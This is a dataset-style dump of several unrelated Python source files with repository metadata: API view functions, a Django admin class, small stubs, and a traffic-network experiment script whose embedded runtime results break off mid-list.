src/view_funcs.py
bhardwajRahul/Hyrule-Compendium-API
3c231773c8ca24be5dfebcd1986fdd0707fdd588
[ "MIT" ]
73
2021-01-04T01:03:08.000Z
2022-03-31T06:48:18.000Z
src/view_funcs.py
ARyOtaRe/Hyrule-Compendium-API
a4a5d09178eac4c6a2c9e25a49dbca5d1bf6c006
[ "MIT" ]
16
2021-01-05T18:11:06.000Z
2021-12-27T08:51:00.000Z
src/view_funcs.py
ARyOtaRe/Hyrule-Compendium-API
a4a5d09178eac4c6a2c9e25a49dbca5d1bf6c006
[ "MIT" ]
17
2021-01-04T21:03:57.000Z
2022-03-12T23:55:17.000Z
from src import utils from rockset import F def treasure(version): return {'data': utils.get_category(version, 'treasure')} def monsters(version): return {'data': utils.get_category(version, 'monsters')} def materials(version): return {'data': utils.get_category(version, 'materials')} def equipment(version): return {'data': utils.get_category(version, 'equipment')} def creatures(version): return {'data': utils.get_category(version, 'creatures')} def entry(version, inp): res = utils.get_entry((F['id'] == int(inp)) if inp.isnumeric() else F['name'] == inp.lower().replace('_', ' ')) return utils.entry_not_found if not res else {'data': res[1]} entry_image = utils.get_entry_image def all(version): return {'data': utils.get_all(version)} def master_mode_entry_image(version, inp): return utils.get_entry_image(version, inp, master_mode=True) def master_mode_entry(version, inp): res = utils.get_master_mode_entry(version, inp) return ({'data': res[0]} if res else utils.entry_not_found) def all_master_mode(version): return {'data': utils.get_all_master_mode_entries(version)}
31.666667
115
0.716667
162
1,140
4.845679
0.234568
0.112102
0.151592
0.196178
0.436943
0.392357
0.254777
0
0
0
0
0.002028
0.135088
1,140
36
116
31.666667
0.794118
0
0
0
0
0
0.076249
0
0
0
0
0
0
1
0.4
false
0
0.08
0.32
0.88
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
4
56514550923179e3d56c8d1206b29401fc026857
181
py
Python
books/admin.py
shieldui/django-shieldui-integration
75453bd8e49390ead2ed6c0f8d0c10875b1b8f09
[ "MIT" ]
2
2016-10-24T05:48:17.000Z
2022-01-21T15:32:26.000Z
books/admin.py
shieldui/django-shieldui-integration
75453bd8e49390ead2ed6c0f8d0c10875b1b8f09
[ "MIT" ]
null
null
null
books/admin.py
shieldui/django-shieldui-integration
75453bd8e49390ead2ed6c0f8d0c10875b1b8f09
[ "MIT" ]
null
null
null
from django.contrib import admin from .models import Book class BookAdmin(admin.ModelAdmin): list_display = ('title', 'author', 'rating') admin.site.register(Book, BookAdmin)
22.625
48
0.751381
23
181
5.869565
0.73913
0
0
0
0
0
0
0
0
0
0
0
0.127072
181
7
49
25.857143
0.85443
0
0
0
0
0
0.093923
0
0
0
0
0
0
1
0
false
0
0.4
0
0.8
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
567391f179172ea8d3cb747deb27145aaa029c7b
217
py
Python
PYTHON_POO/AUresumo.py
davihonorato/Curso-python
47e6b4b2f5b37ef520b8b31d37dba0b5d259a0b0
[ "MIT" ]
null
null
null
PYTHON_POO/AUresumo.py
davihonorato/Curso-python
47e6b4b2f5b37ef520b8b31d37dba0b5d259a0b0
[ "MIT" ]
null
null
null
PYTHON_POO/AUresumo.py
davihonorato/Curso-python
47e6b4b2f5b37ef520b8b31d37dba0b5d259a0b0
[ "MIT" ]
null
null
null
""" EXISTE DIVERSAS FORMAS DE DOCUMENTAR O SEU CÓDIGO. DENTRE ELAS, PODE-SE SE ENCONTRAR DOCSTRINGS PARA FUNÇÕES, MÉTODOS, CLASSES, ETC. CASO TENHA ALGUMA DÚVIDA, CONSULTAR O MATERIAL NO SITE. VERIFICAR TYPEHINTS """
36.166667
118
0.78341
31
217
5.483871
0.935484
0
0
0
0
0
0
0
0
0
0
0
0.147465
217
6
119
36.166667
0.918919
0.963134
0
null
0
null
0
0
null
0
0
0.166667
null
1
null
true
0
0
null
null
null
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
1
0
0
0
1
0
0
0
0
0
0
4
5683ef0bf0a1139b286ff2773a94d6145f8a5245
198
py
Python
server/group_chat_app/signals/handlers.py
AzamatKomaev/social_site
4db54c593e6315aa9a767b4db75f43a0cd7f2683
[ "MIT" ]
2
2021-11-16T04:46:47.000Z
2022-02-15T12:06:08.000Z
server/group_chat_app/signals/handlers.py
AzamatKomaev/social_site
4db54c593e6315aa9a767b4db75f43a0cd7f2683
[ "MIT" ]
null
null
null
server/group_chat_app/signals/handlers.py
AzamatKomaev/social_site
4db54c593e6315aa9a767b4db75f43a0cd7f2683
[ "MIT" ]
null
null
null
from django.db.models.signals import pre_save from django.dispatch import receiver from ..models import GroupChat @receiver(pre_save, sender=GroupChat) def my_handler(sender, **kwargs): pass
19.8
45
0.787879
28
198
5.464286
0.607143
0.130719
0
0
0
0
0
0
0
0
0
0
0.126263
198
9
46
22
0.884393
0
0
0
0
0
0
0
0
0
0
0
0
1
0.166667
false
0.166667
0.5
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
1
0
0
0
0
4
56a8d1855762ed57aacc038a813e15692d0f9692
69
py
Python
tests/__init__.py
apiou/vagrant-debian
4009f035e76db4bd8cf4bd9a8584b7be7be1ab40
[ "Apache-2.0" ]
null
null
null
tests/__init__.py
apiou/vagrant-debian
4009f035e76db4bd8cf4bd9a8584b7be7be1ab40
[ "Apache-2.0" ]
null
null
null
tests/__init__.py
apiou/vagrant-debian
4009f035e76db4bd8cf4bd9a8584b7be7be1ab40
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- """Unit test package for vagrant_debian."""
17.25
43
0.608696
9
69
4.555556
1
0
0
0
0
0
0
0
0
0
0
0.017241
0.15942
69
3
44
23
0.689655
0.869565
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
4
3b289c91d81c9ab19c1ece1784c03afdfa2d4538
34,022
py
Python
experiments/run_paretoCurve.py
salomonw/mixed-traffic-amod-route-rebalance
7f1edeb195a7bfab835e596ad84deead2957943e
[ "MIT" ]
1
2022-03-07T16:15:56.000Z
2022-03-07T16:15:56.000Z
experiments/run_paretoCurve.py
salomonw/mixed-traffic-amod-route-rebalance
7f1edeb195a7bfab835e596ad84deead2957943e
[ "MIT" ]
null
null
null
experiments/run_paretoCurve.py
salomonw/mixed-traffic-amod-route-rebalance
7f1edeb195a7bfab835e596ad84deead2957943e
[ "MIT" ]
null
null
null
import src.tnet as tnet import src.CARS as cars from matplotlib import rc import matplotlib.pyplot as plt import pandas as pd import experiments.build_NYC_subway_net as nyc rc('font',**{'family':'sans-serif','sans-serif':['Helvetica']}) import seaborn as sns; sns.set() sns.set_style("ticks") #sns.set_style("whitegrid") #rc('text', usetex=True) def read_net(net_name, g_multi=1): if net_name == 'NYC': tNet, tstamp, fcoeffs = nyc.build_NYC_net('data/net/NYC_M/', only_road=True) else: netFile, gFile, fcoeffs, tstamp, dir_out = tnet.get_network_parameters(net_name=net_name, experiment_name=net_name + '_n_variation') tNet = tnet.tNet(netFile=netFile, gFile=gFile, fcoeffs=fcoeffs) g_per = tnet.perturbDemandConstant(tNet.g, g_multi) tNet.set_g(g_per) return tNet def run_pareto(net_name, ns=[7], theta_n=4, g_multi=6): d =[] for n in ns: for linear in [True, False]: tNet = read_net(net_name, g_multi=g_multi) tNet.build_supergraph(walk_multiplier=1, identical_G=True) tNet, runtime, od_flows = cars.solve_bush_CARSn(tNet, fcoeffs=tNet.fcoeffs, n=n, theta_n=theta_n, exogenous_G=False, rebalancing=True, linear=linear, bush=True, LP_method=5, QP_method=-1) CARSnobj = cars.get_CARS_obj_val(tNet, G_exogenous=False) if linear == True: tp = 'LP' else: tp = 'QP' d0 = {'Net': net_name, 'A': tNet.nLinks, 'V': tNet.nNodes, 'W': tNet.nOD, 'type2': 'CARS' + str(n) + '-' + tp, 'obj': CARSnobj, 't': runtime, 't_reb':0, 'type': tp} d.append(d0) print(pd.DataFrame(d)) del tNet return pd.DataFrame(d) def plot_pareto(df): fig, ax = plt.subplots() for label in ['LP', 'QP']: df2 = df[df['type']==label] #ax = sns.regplot(x='t', y='obj', data=df2, order=1, logx=True, label=label, truncate=False) df2 = df2.sort_values(by='t') plt.plot(df2.t, df2.obj, '-o', label=label) plt.xlabel('t') plt.ylabel('obj') plt.legend() plt.tight_layout() plt.savefig(net + '_pareto_p.pdf') #plt.show() return fig, ax ns = [3,4,5,6,7,8,9,10] #ns.extend(ns) #ns.extend(ns) #nets = ['Sioux Falls', 'Anaheim', "EMA_mid", "NYC"] #nets = ['Sioux Falls', 'Anaheim', "EMA_mid"] nets = ['EMA_mid', 'NYC'] nets = ['NYC'] #nets = ['Sioux Falls'] #nets = ['Anaheim'] #nets = ["EMA_mid"] #nets = ['Sioux Falls', 'Anaheim', "EMA_mid", "NYC"] for net in nets: df = run_pareto(net, ns) df.to_csv(net + '_pareto.csv') fig, ax = plot_pareto(df) #plt.show() ''' def runtime_algs(probs): runtimes = {} for prob in probs.keys(): runtimes[prob] = {} for alg in probs[prob]: runtimes[prob][alg] = {} runtimes[prob][alg]['runtime'] = [] runtimes[prob][alg]['obj'] = [] runtimes[prob][alg]['n'] = [] runtimes[prob][alg]['rms'] = [] for i in range(max_lines): for k in range(10): theta, a, rms = cars.get_approx_fun(fcoeffs=fcoeffs, nlines=i + 2, range_=[0, 3], plot=False) theta.append(3) # print('\n') for prob, algs in probs.items(): for alg in algs: tNet = tnet.tNet(netFile=netFile, gFile=gFile, fcoeffs=fcoeffs) tNet.build_supergraph(walk_multiplier=1) q = [(u, v) for (u, v, d) in tNet.G_supergraph.edges(data=True) if d['type'] == 'p'] q = [(u, v) for (u, v, d) in tNet.G_supergraph.edges(data=True) if d['type'] == 'f'] g_per = tnet.perturbDemandConstant(tNet.g, 1) tNet.set_g(g_per) if prob == 'LP': linear = True else: linear = False #random.seed(8) tNet, runtime, od_flows = cars.solve_bush_CARSn(tNet, fcoeffs=fcoeffs, n=i+2, exogenous_G=False, rebalancing=True, linear=linear, theta=theta, a=a, method=alg, bush=True) obj = tnet.get_totalTravelTime(tNet.G_supergraph, fcoeffs) runtimes[prob][alg]['runtime'].append(runtime) runtimes[prob][alg]['obj'].append(obj) runtimes[prob][alg]['n'].append(i+2) runtimes[prob][alg]['rms'].append(rms) print('Prob:' +prob+ '\t | \t Alg: ' + str(alg) + '\t | \t n: ' + str(i + 2) + '\t | \t runtime: ' + str(round(runtime,3))+ '\t | \t obj: ' + str(round(obj,0))+ '\t | \t rms: ' + str(round(rms))) del tNet return runtimes netFile, gFile, fcoeffs, tstamp, dir_out = tnet.get_network_parameters('EMA', experiment_name='EMA_penRate_comparison-'+'REB') #netFile, gFile, fcoeffs, tstamp, dir_out = tnet.get_network_parameters('EMA_mid', experiment_name='EMA_mid_test_rebalancingRoutes') #netFile, gFile, fcoeffs, tstamp, dir_out = tnet.get_network_parameters('NYC_Uber_small', experiment_name='NYC_Uber_small_penRate_comparison') #netFile, gFile, fcoeffs, tstamp, dir_out = tnet.get_network_parameters('NYC_Uber_small_1', experiment_name='NYC_Uber_small_1_penRate_comparison-REB') #netFile, gFile, fcoeffs, tstamp, dir_out = tnet.get_network_parameters('Anaheim', experiment_name='Anaheim_test_CARSn') #netFile, gFile, fcoeffs, tstamp, dir_out = tnet.get_network_parameters('Barcelona', experiment_name='Barcelona_buildNet') #netFile, gFile, fcoeffs, tstamp,dir_out = tnet.get_network_parameters('Winnipeg', experiment_name='Winnipeg') #netFile, gFile, fcoeffs, tstamp, dir_out = tnet.get_network_parameters('Sydeny', experiment_name='Sydeny') #netFile, gFile, fcoeffs, tstamp, dir_out = tnet.get_network_parameters('SiouxFalls', experiment_name='SiouxFalls') max_lines = 10 probs = {'LP':[1], 'QP':[1]} runtimes = runtime_algs(probs) # NYC #runtimes = {'LP': {1: {'runtime': [0.00302886962890625, 0.002772092819213867, 0.0027680397033691406, 0.0027658939361572266, 0.0027899742126464844, 0.002765178680419922, 0.0025811195373535156, 0.002741098403930664, 0.0027179718017578125, 0.00273895263671875, 0.002653837203979492, 0.00286102294921875, 0.0029799938201904297, 0.002732992172241211, 0.0025320053100585938, 0.0027189254760742188, 0.0027811527252197266, 0.00290679931640625, 0.002608060836791992, 0.0026018619537353516, 0.0032689571380615234, 0.003072023391723633, 0.002978086471557617, 0.0031578540802001953, 0.0028810501098632812, 0.0030379295349121094, 0.0030739307403564453, 0.002886056900024414, 0.0029501914978027344, 0.003216981887817383, 0.0032889842987060547, 0.003305196762084961, 0.003036022186279297, 0.003269195556640625, 0.003159046173095703, 0.003184080123901367, 0.003345012664794922, 0.003446817398071289, 0.003579854965209961, 0.0031478404998779297, 0.003443002700805664, 0.0034580230712890625, 0.0034058094024658203, 0.0033071041107177734, 0.0033960342407226562, 0.003392934799194336, 0.003358125686645508, 0.0034170150756835938, 0.003520965576171875, 0.003367185592651367, 0.003996849060058594, 0.003679037094116211, 0.003522157669067383, 0.003625154495239258, 0.003641843795776367, 0.003551006317138672, 0.003587961196899414, 0.003756999969482422, 0.0037178993225097656, 0.003525972366333008, 0.00400090217590332, 0.0037729740142822266, 0.004019975662231445, 0.0036880970001220703, 0.004336833953857422, 0.003854036331176758, 0.0038890838623046875, 0.003876924514770508, 0.0043032169342041016, 0.004087924957275391, 0.004323005676269531, 0.004260063171386719, 0.004723072052001953, 0.0040590763092041016, 0.0042760372161865234, 0.0044019222259521484, 0.004413127899169922, 0.00431513786315918, 0.004281044006347656, 0.004433870315551758, 0.004416942596435547, 0.00438690185546875, 0.004531145095825195, 0.0047419071197509766, 0.004392862319946289, 0.0046808719635009766, 0.004495143890380859, 0.004593849182128906, 0.004366874694824219, 0.004415988922119141, 0.005082130432128906, 0.004773139953613281, 0.004957914352416992, 0.004725933074951172, 0.004915952682495117, 0.004724979400634766, 0.004778861999511719, 0.004893064498901367, 0.0049397945404052734, 0.005032062530517578], 'obj': [18398.434988921534, 18398.434988921534, 18398.434988921537, 18398.434988921537, 18398.434988921534, 18398.434988921537, 18398.434988921534, 18398.434988921534, 18398.434988921534, 18398.434988921534, 18398.434988921537, 18398.434988921534, 18398.434988921534, 18398.434988921537, 18398.434988921534, 18398.434988921537, 18398.434988921534, 18398.434988921537, 18398.434988921537, 18398.434988921534, 18398.434988921534, 18398.434988921534, 18398.434988921534, 18398.434988921534, 18398.434988921534, 18398.434988921534, 18398.434988921534, 18398.434988921534, 18398.434988921534, 18398.434988921534, 18398.434988921534, 18398.434988921534, 18398.434988921534, 18398.434988921537, 18398.434988921537, 18398.434988921534, 18398.434988921534, 18398.434988921534, 18398.434988921534, 18398.434988921534, 18398.434988921534, 18266.29716638627, 18398.434988921534, 18234.205260076797, 18398.434988921534, 18398.434988921534, 18398.434988921534, 18398.434988921534, 18398.434988921534, 18398.434988921534, 18345.03844271755, 18394.95280977509, 18398.434988921534, 18262.88840977724, 18188.528802626828, 18398.434988921534, 18398.434988921537, 18400.49271106368, 18412.6872152813, 18398.434988921534, 18359.364009363948, 18258.933936029698, 18249.56974864345, 18398.434988921534, 18398.434988921534, 18231.09093845185, 18398.434988921534, 18188.562609936434, 18151.431248413155, 18384.338549855816, 18420.8132334527, 18178.1160400114, 18429.135786779938, 18197.322851569796, 18398.442211549514, 18345.11108244499, 18298.12495224146, 18238.639270104333, 18371.99696849753, 18147.31737777722, 18188.592956811568, 18258.599757795757, 18152.73856735274, 18242.303225549786, 18228.246005395104, 18493.153736298606, 18250.90395340298, 18189.510063320522, 18188.48177082863, 18274.204366082082, 18485.22082428594, 18216.39654723682, 18390.8308252806, 18188.807585941842, 18151.560655901154, 18188.643347760855, 18288.093982309936, 18457.77771774745, 18506.694164883374, 18408.055933434305], 'n': [2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11], 'rms': [0.3654267077575992, 0.36465497622949045, 0.3645081110886194, 0.3645081110886194, 0.36559567629323386, 0.3645081110886194, 0.363714065035748, 0.36465497622949045, 0.36465497622949045, 0.36465497622949045, 0.15625084574986342, 0.15518122797546482, 0.15544510875640405, 0.15648166824009274, 0.15849866433417625, 0.15681137226057915, 0.15632656180469814, 0.15491905590703126, 0.15792293051894313, 0.16305320138576526, 0.08681990583236208, 0.08530590019738625, 0.08882610120141728, 0.08529912798477231, 0.09439572078143918, 0.09024916626420165, 0.08602234603919187, 0.08989372522427987, 0.08844614031044114, 0.08831975125611477, 0.06230299579588246, 0.05532263106230238, 0.06514214496203465, 0.05581545993339438, 0.06039305708727451, 0.057182055605055654, 0.057582519230193016, 0.05705877062365272, 0.05583771057754059, 0.056622579007365614, 0.04033333353083752, 0.04518216436031147, 0.040381916138711935, 0.0474909648310582, 0.04106869016165946, 0.04015397888120113, 0.039430572257020645, 0.03961847481849327, 0.03854216051978765, 0.03878677004561155, 0.034014130665235655, 0.03336792129756069, 0.030162166314274777, 0.029250306533183765, 0.032080255462732514, 0.03246548835749313, 0.02821093740569759, 0.03039834405284655, 0.027826717068630706, 0.02894608594946967, 0.021760736195607387, 0.026310103034752046, 0.027366385458531813, 0.02485368263932439, 0.028892109388220785, 0.02888244455531355, 0.024196041781386707, 0.03314707302250417, 0.024321877989921085, 0.023370322789604856, 0.02032561431461871, 0.019301385408958687, 0.019936341625406064, 0.016664221263487405, 0.017966531107970304, 0.02477052225188293, 0.016564153996218748, 0.020141902316685823, 0.01951761563518841, 0.020865715002323832, 0.015409034577038452, 0.01677406539017951, 0.0181595422810654, 0.021958769809287793, 0.015755414387964115, 0.017973315367126798, 0.014369906231551054, 0.015180823126584447, 0.014502623761021223, 0.018194943803955754, 0.015349105906416187, 0.013217823594246076, 0.01614830290331909, 0.014072705804441955, 0.011858202405238617, 0.012155249525925607, 0.014315953209510674, 0.013358406612357725, 0.013130102516657853, 0.014945682490629122]}}, 'QP': {1: {'runtime': [0.005208015441894531, 0.0048389434814453125, 0.004858970642089844, 0.004755973815917969, 0.005480051040649414, 0.004813194274902344, 0.0052149295806884766, 0.004806041717529297, 0.004808902740478516, 0.004777193069458008, 0.005747079849243164, 0.005287885665893555, 0.005015134811401367, 0.005017995834350586, 0.004926204681396484, 0.005224943161010742, 0.005029916763305664, 0.00522303581237793, 0.00521087646484375, 0.004895210266113281, 0.005235195159912109, 0.004643917083740234, 0.005231142044067383, 0.0050389766693115234, 0.004530906677246094, 0.004803895950317383, 0.004645109176635742, 0.004467964172363281, 0.0045320987701416016, 0.005246162414550781, 0.004723072052001953, 0.0047299861907958984, 0.004788875579833984, 0.004904985427856445, 0.0047070980072021484, 0.0047168731689453125, 0.004743814468383789, 0.005075931549072266, 0.004707813262939453, 0.004689931869506836, 0.005782127380371094, 0.005431175231933594, 0.005620002746582031, 0.00560307502746582, 0.005724906921386719, 0.005558013916015625, 0.00548100471496582, 0.005671977996826172, 0.005636930465698242, 0.005736112594604492, 0.005861043930053711, 0.005909919738769531, 0.005983829498291016, 0.005686044692993164, 0.005856037139892578, 0.005841970443725586, 0.005788087844848633, 0.006057024002075195, 0.005986928939819336, 0.005808115005493164, 0.006132841110229492, 0.0060808658599853516, 0.006100893020629883, 0.006186962127685547, 0.006097078323364258, 0.006194114685058594, 0.0061948299407958984, 0.006247997283935547, 0.006323814392089844, 0.005967140197753906, 0.005734920501708984, 0.0061588287353515625, 0.0061800479888916016, 0.006261110305786133, 0.0060939788818359375, 0.006265878677368164, 0.006051063537597656, 0.006181001663208008, 0.006039857864379883, 0.006164073944091797, 0.006400108337402344, 0.00625300407409668, 0.006312847137451172, 0.00626683235168457, 0.006309032440185547, 0.006134986877441406, 0.006273031234741211, 0.006357908248901367, 0.0062808990478515625, 0.006247043609619141, 0.006630897521972656, 0.006451129913330078, 0.0065538883209228516, 0.0065670013427734375, 0.006636142730712891, 0.006559133529663086, 0.006582021713256836, 0.006605863571166992, 0.006663084030151367, 0.00661778450012207], 'obj': [18271.404926198753, 18267.86604274333, 18268.238488656814, 18268.238488656814, 18271.822170185384, 18268.238488656814, 18269.820132998444, 18267.86604274333, 18267.86604274333, 18267.86604274333, 18252.296342514757, 18252.509933275425, 18253.362833760355, 18252.036488135822, 18255.561030969635, 18252.017521595844, 18253.608957572713, 18254.1263390125, 18252.31728381484, 18255.611815800392, 18258.427957369695, 18261.90655488224, 18258.069346055734, 18258.857468212016, 18268.648744022044, 18262.4508945303, 18261.72403657764, 18269.174179092905, 18273.80234731746, 18258.698148707237, 18276.80619268364, 18276.80619268364, 18339.844944457476, 18266.98479567173, 18340.57314890233, 18302.771847990025, 18270.158634460247, 18262.623243879967, 18296.912678755492, 18300.486431705052, 18338.060379148763, 18321.425988018484, 18294.825492389187, 18280.336879182643, 18286.056452420416, 18317.673798043666, 18344.365207712515, 18329.61946076262, 18279.4417366926, 18281.63347231534, 18347.064691629203, 18348.436142770803, 18308.789448032552, 18316.939498844822, 18199.17031425621, 18294.41328647173, 18317.965077513123, 18345.58011586542, 18345.58011586542, 18298.29518481927, 18377.33530541489, 18313.797869054015, 18303.124480005612, 18338.419710009093, 18306.455746295775, 18276.75801088457, 18305.371040406557, 18214.122829097567, 18194.664299079624, 18354.953723473693, 18355.07464016068, 18186.297389345593, 18383.703269444373, 18236.057690699836, 18336.401856981873, 18331.48767365388, 18358.22783690523, 18242.900541069033, 18368.97112165323, 18212.211427703733, 18210.372289762643, 18313.42031242247, 18194.83621321832, 18296.986916342063, 18274.58935242992, 18491.67054855402, 18304.831506940693, 18194.243289910613, 18202.938216573417, 18330.49733202771, 18484.629462913832, 18260.088251821213, 18335.03089855943, 18212.10299026476, 18197.47035448212, 18210.750285772738, 18334.791640933618, 18452.60134027581, 18423.1832669747, 18333.0336733149], 'n': [2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11], 'rms': [0.3654267077575992, 0.36465497622949045, 0.3645081110886194, 0.3645081110886194, 0.36559567629323386, 0.3645081110886194, 0.363714065035748, 0.36465497622949045, 0.36465497622949045, 0.36465497622949045, 0.15625084574986342, 0.15518122797546482, 0.15544510875640405, 0.15648166824009274, 0.15849866433417625, 0.15681137226057915, 0.15632656180469814, 0.15491905590703126, 0.15792293051894313, 0.16305320138576526, 0.08681990583236208, 0.08530590019738625, 0.08882610120141728, 0.08529912798477231, 0.09439572078143918, 0.09024916626420165, 0.08602234603919187, 0.08989372522427987, 0.08844614031044114, 0.08831975125611477, 0.06230299579588246, 0.05532263106230238, 0.06514214496203465, 0.05581545993339438, 0.06039305708727451, 0.057182055605055654, 0.057582519230193016, 0.05705877062365272, 0.05583771057754059, 0.056622579007365614, 0.04033333353083752, 0.04518216436031147, 0.040381916138711935, 0.0474909648310582, 0.04106869016165946, 0.04015397888120113, 0.039430572257020645, 0.03961847481849327, 0.03854216051978765, 0.03878677004561155, 0.034014130665235655, 0.03336792129756069, 0.030162166314274777, 0.029250306533183765, 0.032080255462732514, 0.03246548835749313, 0.02821093740569759, 0.03039834405284655, 0.027826717068630706, 0.02894608594946967, 0.021760736195607387, 0.026310103034752046, 0.027366385458531813, 0.02485368263932439, 0.028892109388220785, 0.02888244455531355, 0.024196041781386707, 0.03314707302250417, 0.024321877989921085, 0.023370322789604856, 0.02032561431461871, 0.019301385408958687, 0.019936341625406064, 0.016664221263487405, 0.017966531107970304, 0.02477052225188293, 0.016564153996218748, 0.020141902316685823, 0.01951761563518841, 0.020865715002323832, 0.015409034577038452, 0.01677406539017951, 0.0181595422810654, 0.021958769809287793, 0.015755414387964115, 0.017973315367126798, 0.014369906231551054, 0.015180823126584447, 0.014502623761021223, 0.018194943803955754, 0.015349105906416187, 0.013217823594246076, 0.01614830290331909, 0.014072705804441955, 0.011858202405238617, 0.012155249525925607, 0.014315953209510674, 0.013358406612357725, 0.013130102516657853, 0.014945682490629122]}}} # EMA_mid #runtimes = {'LP': {1: {'runtime': [0.8001751899719238, 0.781390905380249, 0.8167920112609863, 0.7800090312957764, 0.737529993057251, 0.7383098602294922, 0.793036937713623, 0.7028689384460449, 0.7852270603179932, 0.7500839233398438, 0.7413680553436279, 0.7302608489990234, 0.7641358375549316, 0.7225480079650879, 0.7755188941955566, 0.7451431751251221, 0.7297918796539307, 0.725520133972168, 0.742603063583374, 0.7471940517425537, 0.7474789619445801, 0.7631039619445801, 0.7631189823150635, 0.8170449733734131, 0.7589521408081055, 0.7582659721374512, 0.7506000995635986, 0.7032790184020996, 0.7557499408721924, 0.7957119941711426, 0.814680814743042, 0.8037941455841064, 0.7901458740234375, 0.749690055847168, 0.7828819751739502, 0.7673749923706055, 0.804034948348999, 0.810142993927002, 0.8333630561828613, 0.7678918838500977, 0.867332935333252, 0.8254649639129639, 0.7849650382995605, 0.7497479915618896, 0.7807300090789795, 0.8134160041809082, 0.8233239650726318, 0.7943618297576904, 0.8351831436157227, 0.8397319316864014, 0.9159829616546631, 0.779106855392456, 0.8691658973693848, 0.8056869506835938, 0.8399839401245117, 0.8882920742034912, 0.8173420429229736, 0.8236842155456543, 0.7677371501922607, 0.8609969615936279, 0.8951427936553955, 1.0195231437683105, 0.8927230834960938, 0.8288910388946533, 0.8549289703369141, 0.9809749126434326, 0.9273550510406494, 0.9731268882751465, 0.8461658954620361, 0.8301999568939209, 0.8778259754180908, 0.9075660705566406, 0.9095540046691895, 1.0613470077514648, 0.9542129039764404, 1.1043579578399658, 0.9270570278167725, 0.9770019054412842, 0.9617979526519775, 1.0546658039093018, 1.1254608631134033, 1.0280978679656982, 1.0745110511779785, 1.0436911582946777, 0.9592130184173584, 1.0668139457702637, 1.1170461177825928, 0.9445068836212158, 0.9617960453033447, 1.1204180717468262, 0.9657330513000488, 1.119865894317627, 1.015712022781372, 1.106999158859253, 1.138916015625, 1.0277738571166992, 1.0134379863739014, 1.0344371795654297, 1.2253470420837402, 1.1190900802612305], 'obj': [44367.68048737846, 44367.68048737846, 43929.93411301886, 43560.5470543557, 44346.6235397091, 44346.6235397091, 44430.23817385696, 43312.8981128726, 44430.23817385696, 43472.53135170341, 38345.44405418265, 37893.94404122138, 38084.231123142876, 38186.95938115045, 38524.982023460114, 38138.92339057618, 38131.41331776276, 38051.63436241823, 37785.32981812102, 38252.766881363015, 36700.99406326141, 36923.03210989181, 36634.35513111498, 37188.38258013751, 36732.125064826854, 36815.311338431355, 36693.42515850779, 36918.81747370481, 36969.95446658042, 37088.56747932763, 36707.201438489756, 36592.32147981677, 36406.49286598082, 36454.273015079634, 36866.0575956262, 36625.88798813852, 36606.296495263414, 36603.3835790842, 36448.703301157024, 36606.30716368571, 36935.036698193006, 36377.112022714624, 36433.86031109842, 36390.18738846427, 36405.32601785401, 36699.500288873074, 36457.46266496946, 36391.98797017735, 36629.57389437003, 36683.1880918373, 36396.69370531751, 36375.292152310874, 36417.33310491796, 36462.93770276465, 36490.138557816084, 36415.53948582416, 36576.98315449779, 36641.02700607311, 36696.112132183815, 36678.026650072665, 36802.28724029736, 37453.98211096543, 36391.95973142331, 36616.66496362232, 36475.02190306206, 37530.7003877272, 37528.82729394457, 37638.268302934855, 37367.29994413837, 36396.08937743248, 36502.03193203678, 36662.730018652146, 36666.42461809083, 37707.36648480679, 37245.86117128807, 37530.09676007508, 36611.133964038025, 37564.97645563819, 36645.21946748616, 37639.89141788096, 37632.8523718915, 37447.042291275866, 37625.92066625179, 37806.16526379641, 36406.908347130855, 37519.26203620172, 37615.31577427738, 36839.25957974516, 36924.11017902718, 37633.483682544844, 36716.305858393156, 38347.16305903578, 37410.28900642844, 37805.97993406207, 37746.75145307238, 37806.587188992744, 37646.32699282969, 37190.8867340858, 38033.61893873016, 37813.69223100613], 'n': [2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11], 'rms': [0.3654267077575992, 0.3654267077575992, 0.363714065035748, 0.3645081110886194, 0.3654217657905347, 0.3654217657905347, 0.36549981207039267, 0.3657567812890223, 0.36549981207039267, 